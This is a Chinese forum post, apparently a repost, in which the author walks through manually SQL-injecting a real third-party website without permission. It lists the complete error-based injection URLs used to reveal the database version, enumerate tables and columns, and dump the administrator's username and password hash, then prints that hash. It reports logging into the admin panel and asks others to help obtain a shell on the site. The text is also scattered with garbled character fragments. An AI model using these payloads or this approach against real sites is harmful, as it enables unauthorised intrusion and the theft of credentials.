近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
" |& [/ `% L; z% w' D' X首先找到网站后台,加了个admin,后台出来了 8 Q' [: O; t' i: D
5 B' l, g* {4 m$ R8 H$ q c/ b! ~& C8 J! p' j
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入
2 }. X0 {' z% X0 F3 v% Z. T( Khttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—( T( s/ U) @+ Y; c6 y2 P0 q V
- C" y% w r! @0 {; N3 p
- U- _$ d1 D; n, T! f6 p
0 H6 K* ]8 N9 p6 @ f0 f8 X# O% S3 Q$ u
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
& v, r" A* Z' H, S* V" b7 a& Y, ^" T2 Q L" ^! E" D
4 I3 p* n$ Q/ x; F( |) z
$ m, p5 T6 J& O; t) R
+ I; c" ^. C4 L
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator: }+ G! q) z- v% [, x
0 S7 E9 g! S" k# A5 |# K
C, d" r( B' ~; Xhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg p" Q" x3 k9 E5 w/ @& J+ `
, v" X7 u0 b2 H! M; Z+ M0 D! ^8 l3 r$ @: {7 z# C) Y
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))-- Z- o+ S! C; H9 b
( N3 Q3 H R; ~- N; c% J8 A" X! r; ?8 d5 V/ V. u
8 ~* F5 z5 {6 o8 w$ G. G
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--3 L* @0 S, L Z$ Y5 F8 K
# o' d; T7 D5 ~ ~: d$ S
1 |& c- \) G6 e ]/ r6 |
d2 p* K7 R6 a) I) \% J 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |